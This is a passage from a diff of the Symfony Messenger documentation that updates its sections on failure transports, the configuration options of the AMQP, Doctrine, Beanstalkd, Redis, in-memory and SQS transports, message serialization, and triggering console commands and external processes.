``Redis::SERIALIZER_PHP`` - in Redis (the - ``Redis::OPT_SERIALIZER`` option) -stream_max_entries The maximum number of entries which ``0`` (which means "no trimming") - the stream will be trimmed to. Set - it to a large enough number to - avoid losing pending messages -tls Enable TLS support for the connection false -=================== ===================================== ========================= + # remove all messages in the failure transport + $ php bin/console messenger:failed:remove --all -.. tip:: + # remove only App\Message\MyMessage messages + $ php bin/console messenger:failed:remove --class-filter='App\Message\MyMessage' - Set ``delete_after_ack`` to ``true`` (if you use a single group) or define - ``stream_max_entries`` (if you can estimate how many max entries is acceptable - in your case) to avoid memory leaks. Otherwise, all messages will remain - forever in Redis. +If the message fails again, it will be re-sent back to the failure transport +due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max +retry has been hit, the message will be discarded permanently. -.. versionadded:: 5.1 +.. versionadded:: 7.2 - The ``delete_after_ack`` option was introduced in Symfony 5.1. + The option to skip a message in the ``messenger:failed:retry`` command was + introduced in Symfony 7.2 -.. versionadded:: 5.2 +.. versionadded:: 7.3 - The ``delete_after_reject`` option was introduced in Symfony 5.2. + The option to filter by a message class in the ``messenger:failed:remove`` command was + introduced in Symfony 7.3 -In Memory Transport -~~~~~~~~~~~~~~~~~~~ +Multiple Failed Transports +~~~~~~~~~~~~~~~~~~~~~~~~~~ -The ``in-memory`` transport does not actually deliver messages. Instead, it -holds them in memory during the request, which can be useful for testing. -For example, if you have an ``async_priority_normal`` transport, you could -override it in the ``test`` environment to use this transport: +Sometimes it is not enough to have a single, global ``failed transport`` configured +because some messages are more important than others. In those cases, you can +override the failure transport for only specific transports: .. configuration-block:: .. code-block:: yaml - # config/packages/test/messenger.yaml + # config/packages/messenger.yaml framework: messenger: + # after retrying, messages will be sent to the "failed" transport + # by default if no "failed_transport" is configured inside a transport + failure_transport: failed_default + transports: - async_priority_normal: 'in-memory://' + async_priority_high: + dsn: '%env(MESSENGER_TRANSPORT_DSN)%' + failure_transport: failed_high_priority + + # since no failed transport is configured, the one used will be + # the global "failure_transport" set + async_priority_low: + dsn: 'doctrine://default?queue_name=async_priority_low' + + failed_default: 'doctrine://default?queue_name=failed_default' + failed_high_priority: 'doctrine://default?queue_name=failed_high_priority' .. code-block:: xml - <!-- config/packages/test/messenger.xml --> + <!-- config/packages/messenger.xml --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" @@ -1221,131 +1373,1674 @@ override it in the ``test`` environment to use this transport: https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:messenger> - <framework:transport name="async_priority_normal" dsn="in-memory://"/> + <!-- after retrying, messages will be sent to the "failed" transport + by default if no "failed-transport" is configured inside a transport --> + <framework:messenger failure-transport="failed_default"> + <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%" failure-transport="failed_high_priority"/> + <!-- since no "failed_transport" is configured, the one used will be + the global "failed_transport" set --> + <framework:transport name="async_priority_low" dsn="doctrine://default?queue_name=async_priority_low"/> + + <framework:transport name="failed_default" dsn="doctrine://default?queue_name=failed_default"/> + <framework:transport name="failed_high_priority" dsn="doctrine://default?queue_name=failed_high_priority"/> </framework:messenger> </framework:config> </container> .. code-block:: php - // config/packages/test/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'transports' => [ - 'async_priority_normal' => [ - 'dsn' => 'in-memory://', - ], - ], - ], - ]); + // config/packages/messenger.php + use Symfony\Config\FrameworkConfig; -Then, while testing, messages will *not* be delivered to the real transport. -Even better, in a test, you can check that exactly one message was sent -during a request:: + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); - // tests/Controller/DefaultControllerTest.php - namespace App\Tests\Controller; + // after retrying, messages will be sent to the "failed" transport + // by default if no "failure_transport" is configured inside a transport + $messenger->failureTransport('failed_default'); - use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; - use Symfony\Component\Messenger\Transport\InMemoryTransport; + $messenger->transport('async_priority_high') + ->dsn(env('MESSENGER_TRANSPORT_DSN')) + ->failureTransport('failed_high_priority'); - class DefaultControllerTest extends WebTestCase - { - public function testSomething() - { - $client = static::createClient(); - // ... + // since no failed transport is configured, the one used will be + // the global failure_transport set + $messenger->transport('async_priority_low') + ->dsn('doctrine://default?queue_name=async_priority_low'); - $this->assertSame(200, $client->getResponse()->getStatusCode()); + $messenger->transport('failed_default') + ->dsn('doctrine://default?queue_name=failed_default'); - /* @var InMemoryTransport $transport */ - $transport = self::$container->get('messenger.transport.async_priority_normal'); - $this->assertCount(1, $transport->getSent()); - } - } + $messenger->transport('failed_high_priority') + ->dsn('doctrine://default?queue_name=failed_high_priority'); + }; -.. note:: +If there is no ``failure_transport`` defined globally or on the transport level, +the messages will be discarded after the number of retries. - All ``in-memory`` transports will be reset automatically after each test **in** - test classes extending - :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase` - or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`. +The failed commands have an optional option ``--transport`` to specify +the ``failure_transport`` configured at the transport level. -Amazon SQS -~~~~~~~~~~ +.. code-block:: terminal -.. versionadded:: 5.1 + # see all messages in "failure_transport" transport + $ php bin/console messenger:failed:show --transport=failure_transport - The Amazon SQS transport as introduced in Symfony 5.1. + # retry specific messages from "failure_transport" + $ php bin/console messenger:failed:retry 20 30 --transport=failure_transport --force -The Amazon SQS transport is perfect for application hosted on AWS. Install it by -running: + # remove a message without retrying it from "failure_transport" + $ php bin/console messenger:failed:remove 20 --transport=failure_transport + +.. _messenger-transports-config: + +Transport Configuration +----------------------- + +Messenger supports a number of different transport types, each with their own +options. Options can be passed to the transport via a DSN string or configuration. + +.. code-block:: env + + # .env + MESSENGER_TRANSPORT_DSN=amqp://localhost/%2f/messages?auto_setup=false + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/messenger.yaml + framework: + messenger: + transports: + my_transport: + dsn: "%env(MESSENGER_TRANSPORT_DSN)%" + options: + auto_setup: false + + .. code-block:: xml + + <!-- config/packages/messenger.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:messenger> + <framework:transport name="my_transport" dsn="%env(MESSENGER_TRANSPORT_DSN)%"> + <framework:options auto-setup="false"/> + </framework:transport> + </framework:messenger> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/messenger.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); + + $messenger->transport('my_transport') + ->dsn(env('MESSENGER_TRANSPORT_DSN')) + ->options(['auto_setup' => false]); + }; + +Options defined under ``options`` take precedence over ones defined in the DSN. + +AMQP Transport +~~~~~~~~~~~~~~ + +The AMQP transport uses the AMQP PHP extension to send messages to queues like +RabbitMQ. Install it by running: .. code-block:: terminal - $ composer require symfony/amazon-sqs-messenger + $ composer require symfony/amqp-messenger -The SQS transport DSN may looks like this: +The AMQP transport DSN may look like this: .. code-block:: env # .env - MESSENGER_TRANSPORT_DSN=sqs://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/messages - MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable + MESSENGER_TRANSPORT_DSN=amqp://guest:guest@localhost:5672/%2f/messages + + # or use the AMQPS protocol + MESSENGER_TRANSPORT_DSN=amqps://guest:guest@localhost/%2f/messages + +If you want to use TLS/SSL encrypted AMQP, you must also provide a CA certificate. +Define the certificate path in the ``amqp.cacert`` PHP.ini setting +(e.g. ``amqp.cacert = /etc/ssl/certs``) or in the ``cacert`` parameter of the +DSN (e.g ``amqps://localhost?cacert=/etc/ssl/certs/``). + +The default port used by TLS/SSL encrypted AMQP is 5671, but you can overwrite +it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ssl/certs/&port=12345``). .. note:: - The transport will automatically create queues that are needed. This - can be disabled setting the ``auto_setup`` option to ``false``. + By default, the transport will automatically create any exchanges, queues and + binding keys that are needed. That can be disabled, but some functionality + may not work correctly (like delayed queues). + To not autocreate any queues, you can configure a transport with ``queues: []``. + +.. note:: + + You can limit the consumer of an AMQP transport to only process messages + from some queues of an exchange. See :ref:`messenger-limit-queues`. + +The transport has a number of other options, including ways to configure +the exchange, queues binding keys and more. See the documentation on +:class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\Connection`. + +The transport has a number of options: + +``auto_setup`` (default: ``true``) + Whether the exchanges and queues should be created automatically during + send / get. + +``cacert`` + Path to the CA cert file in PEM format. + +``cert`` + Path to the client certificate in PEM format. + +``channel_max`` + Specifies highest channel number that the server permits. 0 means standard + extension limit + +``confirm_timeout`` + Timeout in seconds for confirmation; if none specified, transport will not + wait for message confirmation. Note: 0 or greater seconds. May be + fractional. + +``connect_timeout`` + Connection timeout. Note: 0 or greater seconds. May be fractional. + +``frame_max`` + The largest frame size that the server proposes for the connection, + including frame header and end-byte. 0 means standard extension limit + (depends on librabbimq default frame size limit) + +``heartbeat`` + The delay, in seconds, of the connection heartbeat that the server wants. 0 + means the server does not want a heartbeat. Note, librabbitmq has limited + heartbeat support, which means heartbeats checked only during blocking + calls. + +``host`` + Hostname of the AMQP service + +``key`` + Path to the client key in PEM format. + +``login`` + Username to use to connect the AMQP service + +``password`` + Password to use to connect to the AMQP service + +``persistent`` (default: ``'false'``) + Whether the connection is persistent + +``port`` + Port of the AMQP service + +``read_timeout`` + Timeout in for income activity. Note: 0 or greater seconds. May be + fractional. + +``retry`` + (no description available) + +``sasl_method`` + (no description available) + +``connection_name`` + For custom connection names (requires at least version 1.10 of the PHP AMQP + extension) + +``verify`` + Enable or disable peer verification. If peer verification is enabled then + the common name in the server certificate must match the server name. Peer + verification is enabled by default. + +``vhost`` + Virtual Host to use with the AMQP service + +``write_timeout`` + Timeout in for outcome activity. Note: 0 or greater seconds. May be + fractional. + +``delay[queue_name_pattern]`` (default: ``delay_%exchange_name%_%routing_key%_%delay%``) + Pattern to use to create the queues + +``delay[exchange_name]`` (default: ``delays``) + Name of the exchange to be used for the delayed/retried messages + +``queues[name][arguments]`` + Extra arguments + +``queues[name][binding_arguments]`` + Arguments to be used while binding the queue. + +``queues[name][binding_keys]`` + The binding keys (if any) to bind to this queue + +``queues[name][flags]`` (default: ``AMQP_DURABLE``) + Queue flags + +``exchange[arguments]`` + Extra arguments for the exchange (e.g. ``alternate-exchange``) + +``exchange[default_publish_routing_key]`` + Routing key to use when publishing, if none is specified on the message + +``exchange[flags]`` (default: ``AMQP_DURABLE``) + Exchange flags + +``exchange[name]`` + Name of the exchange. Use an empty string to use the default exchange. + +``exchange[type]`` (default: ``fanout``) + Type of exchange + +.. versionadded:: 7.3 + + Empty string support for ``exchange[name]`` was introduced in Symfony 7.3. + +You can also configure AMQP-specific settings on your message by adding +:class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to +your Envelope:: + + use Symfony\Component\Messenger\Bridge\Amqp\Transport\AmqpStamp; + // ... + + $attributes = []; + $bus->dispatch(new SmsNotification(), [ + new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes), + ]); + +.. warning:: + + The consumers do not show up in an admin panel as this transport does not rely on + ``\AmqpQueue::consume()`` which is blocking. Having a blocking receiver makes + the ``--time-limit/--memory-limit`` options of the ``messenger:consume`` command as well as + the ``messenger:stop-workers`` command inefficient, as they all rely on the fact that + the receiver returns immediately no matter if it finds a message or not. The consume + worker is responsible for iterating until it receives a message to handle and/or until one + of the stop conditions is reached. Thus, the worker's stop logic cannot be reached if it + is stuck in a blocking call. + +.. tip:: + + If your application faces socket exceptions or `high connection churn`_ + (shown by the rapid creation and deletion of connections), consider using + `AMQProxy`_. This tool works as a gateway between Symfony Messenger and AMQP server, + maintaining stable connections and minimizing overheads (which also improves + the overall performance). + +Doctrine Transport +~~~~~~~~~~~~~~~~~~ + +The Doctrine transport can be used to store messages in a database table. +Install it by running: + +.. code-block:: terminal + + $ composer require symfony/doctrine-messenger + +The Doctrine transport DSN may look like this: + +.. code-block:: env + + # .env + MESSENGER_TRANSPORT_DSN=doctrine://default + +The format is ``doctrine://<connection_name>``, in case you have multiple connections +and want to use one other than the "default". The transport will automatically create +a table named ``messenger_messages``. + +If you want to change the default table name, pass a custom table name in the +DSN by using the ``table_name`` option: + +.. code-block:: env + + # .env + MESSENGER_TRANSPORT_DSN=doctrine://default?table_name=your_custom_table_name + +Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and +:ref:`generate a migration <doctrine-creating-the-database-tables-schema>`. + +The transport has a number of options: + +``table_name`` (default: ``messenger_messages``) + Name of the table + +``queue_name`` (default: ``default``) + Name of the queue (a column in the table, to use one table for multiple + transports) + +``redeliver_timeout`` (default: ``3600``) + Timeout before retrying a message that's in the queue but in the "handling" + state (if a worker stopped for some reason, this will occur, eventually you + should retry the message) - in seconds. + + .. note:: + + Set ``redeliver_timeout`` to a greater value than your longest message + duration. Otherwise, some messages will start a second time while the + first one is still being handled. + +``auto_setup`` + Whether the table should be created automatically during send / get. + +When using PostgreSQL, you have access to the following options to leverage +the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach +than the default polling behavior of the Doctrine transport because +PostgreSQL will directly notify the workers when a new message is inserted +in the table. + +``use_notify`` (default: ``true``) + Whether to use LISTEN/NOTIFY. + +``check_delayed_interval`` (default: ``60000``) + The interval to check for delayed messages, in milliseconds. Set to 0 to + disable checks. + +``get_notify_timeout`` (default: ``0``) + The length of time to wait for a response when calling + ``PDO::pgsqlGetNotify``, in milliseconds. + +The Doctrine transport supports the ``--keepalive`` option by periodically updating +the ``delivered_at`` timestamp to prevent the message from being redelivered. + +.. versionadded:: 7.3 + + Keepalive support was introduced in Symfony 7.3. + +Beanstalkd Transport +~~~~~~~~~~~~~~~~~~~~ + +The Beanstalkd transport sends messages directly to a Beanstalkd work queue. Install +it by running: + +.. code-block:: terminal + + $ composer require symfony/beanstalkd-messenger + +The Beanstalkd transport DSN may looks like this: + +.. code-block:: env + + # .env + MESSENGER_TRANSPORT_DSN=beanstalkd://localhost:11300?tube_name=foo&timeout=4&ttr=120 + + # If no port, it will default to 11300 + MESSENGER_TRANSPORT_DSN=beanstalkd://localhost + +The transport has a number of options: + +``bury_on_reject`` (default: ``false``) + When set to ``true``, rejected messages are placed into a "buried" state + in Beanstalkd instead of being deleted. + + .. versionadded:: 7.3 + + The ``bury_on_reject`` option was introduced in Symfony 7.3. + +``timeout`` (default: ``0``) + Message reservation timeout - in seconds. 0 will cause the server to + immediately return either a response or a TransportException will be thrown. + +``ttr`` (default: ``90``) + The message time to run before it is put back in the ready queue - in + seconds. + +``tube_name`` (default: ``default``) + Name of the queue + +The Beanstalkd transport supports the ``--keepalive`` option by using Beanstalkd's +``touch`` command to periodically reset the job's ``ttr``. + +.. versionadded:: 7.2 + + Keepalive support was introduced in Symfony 7.2. + +The Beanstalkd transport lets you set the priority of the messages being dispatched. +Use the :class:`Symfony\\Component\\Messenger\\Bridge\\Beanstalkd\\Transport\\BeanstalkdPriorityStamp` +and pass a number to specify the priority (default = ``1024``; lower numbers mean higher priority):: + + use App\Message\SomeMessage; + use Symfony\Component\Messenger\Stamp\BeanstalkdPriorityStamp; + + $this->bus->dispatch(new SomeMessage('some data'), [ + // 0 = highest priority + // 2**32 - 1 = lowest priority + new BeanstalkdPriorityStamp(0), + ]); + +.. versionadded:: 7.3 + + ``BeanstalkdPriorityStamp`` support was introduced in Symfony 7.3. + +.. _messenger-redis-transport: + +Redis Transport +~~~~~~~~~~~~~~~ + +The Redis transport uses `streams`_ to queue messages. This transport requires +the Redis PHP extension (>=4.3) and a running Redis server (^5.0). Install it by +running: + +.. code-block:: terminal + + $ composer require symfony/redis-messenger + +The Redis transport DSN may looks like this: + +.. code-block:: env + + # .env + MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages + # Full DSN Example + MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0 + # Redis Cluster Example + MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379 + # Unix Socket Example + MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock + # TLS Example + MESSENGER_TRANSPORT_DSN=rediss://localhost:6379/messages + # Multiple Redis Sentinel Hosts Example + MESSENGER_TRANSPORT_DSN=redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&sentinel_master=db + +A number of options can be configured via the DSN or via the ``options`` key +under the transport in ``messenger.yaml``: + +``stream`` (default: ``messages``) + The Redis stream name + +``group`` (default: ``symfony``) + The Redis consumer group name + +``consumer`` (default: ``consumer``) + Consumer name used in Redis. Allows setting an explicit consumer name identifier. + Recommended in environments with multiple workers to prevent duplicate message + processing. Typically set via an environment variable: + + .. code-block:: yaml + + # config/packages/messenger.yaml + framework: + messenger: + transports: + redis: + dsn: '%env(MESSENGER_TRANSPORT_DSN)%' + options: + consumer: '%env(MESSENGER_CONSUMER_NAME)%' + +``auto_setup`` (default: ``true``) + Whether to create the Redis group automatically + +``auth`` + The Redis password + +``delete_after_ack`` (default: ``true``) + If ``true``, messages are deleted automatically after processing them + +``delete_after_reject`` (default: ``true``) + If ``true``, messages are deleted automatically if they are rejected + +``lazy`` (default: ``false``) + Connect only when a connection is really needed + +``serializer`` (default: ``Redis::SERIALIZER_PHP``) + How to serialize the final payload in Redis (the ``Redis::OPT_SERIALIZER`` option) + +``stream_max_entries`` (default: ``0``) + The maximum number of entries which the stream will be trimmed to. Set it to + a large enough number to avoid losing pending messages + +``redeliver_timeout`` (default: ``3600``) + Timeout (in seconds) before retrying a pending message which is owned by an abandoned consumer + (if a worker died for some reason, this will occur, eventually you should retry the message). + +``claim_interval`` (default: ``60000``) + Interval on which pending/abandoned messages should be checked for to claim - in milliseconds + +``persistent_id`` (default: ``null``) + String, if null connection is non-persistent. + +``retry_interval`` (default: ``0``) + Int, value in milliseconds + +``read_timeout`` (default: ``0``) + Float, value in seconds default indicates unlimited + +``timeout`` (default: ``0``) + Connection timeout. Float, value in seconds default indicates unlimited + +``sentinel_master`` (default: ``null``) + String, if null or empty Sentinel support is disabled + +``redis_sentinel`` (default: ``null``) + An alias of the ``sentinel_master`` option + + .. versionadded:: 7.1 + + The ``redis_sentinel`` option was introduced in Symfony 7.1. + +``ssl`` (default: ``null``) + Map of `SSL context options`_ for the TLS channel. This is useful for example + to change the requirements for the TLS channel in tests: + + .. code-block:: yaml + + # config/packages/test/messenger.yaml + framework: + messenger: + transports: + redis: + dsn: "rediss://localhost" + options: + ssl: + allow_self_signed: true + capture_peer_cert: true + capture_peer_cert_chain: true + disable_compression: true + SNI_enabled: true + verify_peer: true + verify_peer_name: true + +.. warning:: + + There should never be more than one ``messenger:consume`` command running with the same + combination of ``stream``, ``group`` and ``consumer``, or messages could end up being + handled more than once. If you run multiple queue workers, ``consumer`` can be set to an + environment variable, like ``%env(MESSENGER_CONSUMER_NAME)%``, set by Supervisor + (example below) or any other service used to manage the worker processes. + In a container environment, the ``HOSTNAME`` can be used as the consumer name, since + there is only one worker per container/host. If using Kubernetes to orchestrate the + containers, consider using a ``StatefulSet`` to have stable names. + +.. tip:: + + Set ``delete_after_ack`` to ``true`` (if you use a single group) or define + ``stream_max_entries`` (if you can estimate how many max entries is acceptable + in your case) to avoid memory leaks. Otherwise, all messages will remain + forever in Redis. + +The Redis transport supports the ``--keepalive`` option by using Redis's ``XCLAIM`` +command to periodically reset the message's idle time to zero. + +.. versionadded:: 7.3 + + Keepalive support was introduced in Symfony 7.3. + +In Memory Transport +~~~~~~~~~~~~~~~~~~~ + +The ``in-memory`` transport does not actually deliver messages. Instead, it +holds them in memory during the request, which can be useful for testing. +For example, if you have an ``async_priority_normal`` transport, you could +override it in the ``test`` environment to use this transport: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/test/messenger.yaml + framework: + messenger: + transports: + async_priority_normal: 'in-memory://' + + .. code-block:: xml + + <!-- config/packages/test/messenger.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:messenger> + <framework:transport name="async_priority_normal" dsn="in-memory://"/> + </framework:messenger> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/test/messenger.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); + + $messenger->transport('async_priority_normal') + ->dsn('in-memory://'); + }; + +Then, while testing, messages will *not* be delivered to the real transport. +Even better, in a test, you can check that exactly one message was sent +during a request:: + + // tests/Controller/DefaultControllerTest.php + namespace App\Tests\Controller; + + use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; + use Symfony\Component\Messenger\Transport\InMemory\InMemoryTransport; + + class DefaultControllerTest extends WebTestCase + { + public function testSomething(): void + { + $client = static::createClient(); + // ... + + $this->assertSame(200, $client->getResponse()->getStatusCode()); + + /** @var InMemoryTransport $transport */ + $transport = $this->getContainer()->get('messenger.transport.async_priority_normal'); + $this->assertCount(1, $transport->getSent()); + } + } + +The transport has a number of options: + +``serialize`` (boolean, default: ``false``) + Whether to serialize messages or not. This is useful to test an additional + layer, especially when you use your own message serializer. + +.. note:: + + All ``in-memory`` transports will be reset automatically after each test **in** + test classes extending + :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase` + or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`. + +Amazon SQS +~~~~~~~~~~ + +The Amazon SQS transport is perfect for applications hosted on AWS. Install it by +running: + +.. code-block:: terminal + + $ composer require symfony/amazon-sqs-messenger + +The SQS transport DSN may looks like this: + +.. code-block:: env + + # .env + MESSENGER_TRANSPORT_DSN=https://sqs.eu-west-3.amazonaws.com/123456789012/messages?access_key=AKIAIOSFODNN7EXAMPLE&secret_key=j17M97ffSVoKI0briFoo9a + MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable + +.. note:: + + The transport will automatically create queues that are needed. This + can be disabled by setting the ``auto_setup`` option to ``false``. + +.. tip:: + + Before sending or receiving a message, Symfony needs to convert the queue + name into an AWS queue URL by calling the ``GetQueueUrl`` API in AWS. This + extra API call can be avoided by providing a DSN which is the queue URL. + +The transport has a number of options: + +``access_key`` + AWS access key (must be urlencoded) + +``account`` (default: The owner of the credentials) + Identifier of the AWS account + +``auto_setup`` (default: ``true``) + Whether the queue should be created automatically during send / get. + +``buffer_size`` (default: ``9``) + Number of messages to prefetch + +``debug`` (default: ``false``) + If ``true`` it logs all HTTP requests and responses (it impacts performance) + +``endpoint`` (default: ``https://sqs.eu-west-1.amazonaws.com``) + Absolute URL to the SQS service + +``poll_timeout`` (default: ``0.1``) + Wait for new message duration in seconds + +``queue_name`` (default: ``messages``) + Name of the queue + +``queue_attributes`` + Attributes of a queue as per `SQS CreateQueue API`_. Array of strings indexed by keys of ``AsyncAws\Sqs\Enum\QueueAttributeName``. + +``queue_tags`` + Cost allocation tags of a queue as per `SQS CreateQueue API`_. Array of strings indexed by strings. + +``region`` (default: ``eu-west-1``) + Name of the AWS region + +``secret_key`` + AWS secret key (must be urlencoded) + +``session_token`` + AWS session token + +``visibility_timeout`` (default: Queue's configuration) + Amount of seconds the message will not be visible (`Visibility Timeout`_) + +``wait_time`` (default: ``20``) + `Long polling`_ duration in seconds + +.. versionadded:: 7.3 + + The ``queue_attributes`` and ``queue_tags`` options were introduced in Symfony 7.3. + +.. note:: + + The ``wait_time`` parameter defines the maximum duration Amazon SQS should + wait until a message is available in a queue before sending a response. + It helps reducing the cost of using Amazon SQS by eliminating the number + of empty responses. + + The ``poll_timeout`` parameter defines the duration the receiver should wait + before returning null. It avoids blocking other receivers from being called. + +.. note:: + + If the queue name is suffixed by ``.fifo``, AWS will create a `FIFO queue`_. + Use the stamp :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Transport\\AmazonSqsFifoStamp` + to define the ``Message group ID`` and the ``Message deduplication ID``. + + Another possibility is to enable the + :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Middleware\\AddFifoStampMiddleware`. + If your message implements + :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageDeduplicationAwareInterface`, + the middleware will automatically add the + :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Transport\\AmazonSqsFifoStamp` + and set the ``Message deduplication ID``. Additionally, if your message implements the + :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageGroupAwareInterface`, + the middleware will automatically set the ``Message group ID`` of the stamp. + + You can learn more about middlewares in + :ref:`the dedicated section <messenger_middleware>`. + + FIFO queues don't support setting a delay per message, a value of ``delay: 0`` + is required in the retry strategy settings. + +The SQS transport supports the ``--keepalive`` option by using the ``ChangeMessageVisibility`` +action to periodically update the ``VisibilityTimeout`` of the message. + +.. versionadded:: 7.2 + + Keepalive support was introduced in Symfony 7.2. + +Serializing Messages +~~~~~~~~~~~~~~~~~~~~ + +When messages are sent to (and received from) a transport, they're serialized +using PHP's native ``serialize()`` & ``unserialize()`` functions. You can change +this globally (or for each transport) to a service that implements +:class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\SerializerInterface`: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/messenger.yaml + framework: + messenger: + serializer: + default_serializer: messenger.transport.symfony_serializer + symfony_serializer: + format: json + context: { } + + transports: + async_priority_normal: + dsn: # ... + serializer: messenger.transport.symfony_serializer + + .. code-block:: xml + + <!-- config/packages/messenger.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:messenger> + <framework:serializer default-serializer="messenger.transport.symfony_serializer"> + <framework:symfony-serializer format="json"> + <framework:context/> + </framework:symfony-serializer> + </framework:serializer> + + <framework:transport name="async_priority_normal" dsn="..." serializer="messenger.transport.symfony_serializer"/> + </framework:messenger> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/messenger.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); + + $messenger->serializer() + ->defaultSerializer('messenger.transport.symfony_serializer') + ->symfonySerializer() + ->format('json') + ->context('foo', 'bar'); + + $messenger->transport('async_priority_normal') + ->dsn('...') + ->serializer('messenger.transport.symfony_serializer'); + }; + +The ``messenger.transport.symfony_serializer`` is a built-in service that uses +the :doc:`Serializer component </serializer>` and can be configured in a few ways. +If you *do* choose to use the Symfony serializer, you can control the context +on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp` +(see `Envelopes & Stamps`_). + +.. tip:: + + When sending/receiving messages to/from another application, you may need + more control over the serialization process. Using a custom serializer + provides that control. See `SymfonyCasts' message serializer tutorial`_ for + details. + +Closing Connections +~~~~~~~~~~~~~~~~~~~ + +When using a transport that requires a connection, you can close it by calling the +:method:`Symfony\\Component\\Messenger\\Transport\\CloseableTransportInterface::close` +method to free up resources in long-running processes. + +This interface is implemented by the following transports: AmazonSqs, Amqp, and Redis. +If you need to close a Doctrine connection, you can do so +:ref:`using middleware <middleware-for-doctrine>`. + +.. versionadded:: 7.3 + + The ``CloseableTransportInterface`` and its ``close()`` method were introduced + in Symfony 7.3. + +Running Commands And External Processes +--------------------------------------- + +Trigger a Command +~~~~~~~~~~~~~~~~~ + +It is possible to trigger any command by dispatching a +:class:`Symfony\\Component\\Console\\Messenger\\RunCommandMessage`. Symfony +will take care of handling this message and execute the command passed +to the message parameter:: + + use Symfony\Component\Console\Messenger\RunCommandMessage; + use Symfony\Component\Messenger\MessageBusInterface; + + class CleanUpService + { + public function __construct(private readonly MessageBusInterface $bus) + { + } + + public function cleanUp(): void + { + // Long task with some caching... + + // Once finished, dispatch some clean up commands + $this->bus->dispatch(new RunCommandMessage('app:my-cache:clean-up --dir=var/temp')); + $this->bus->dispatch(new RunCommandMessage('cache:clear')); + } + } + +You can configure the behavior in the case of something going wrong during command +execution. To do so, you can use the ``throwOnFailure`` and ``catchExceptions`` +parameters when creating your instance of +:class:`Symfony\\Component\\Console\\Messenger\\RunCommandMessage`. + +Once handled, the handler will return a +:class:`Symfony\\Component\\Console\\Messenger\\RunCommandContext` which +contains many useful information such as the exit code or the output of the +process. You can refer to the page dedicated on +:ref:`handler results <messenger-getting-handler-results>` for more information. + +Trigger An External Process +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Messenger comes with a handy helper to run external processes by +dispatching a message. This takes advantages of the +:doc:`Process component </components/process>`. By dispatching a +:class:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage`, Messenger +will take care of creating a new process with the parameters you 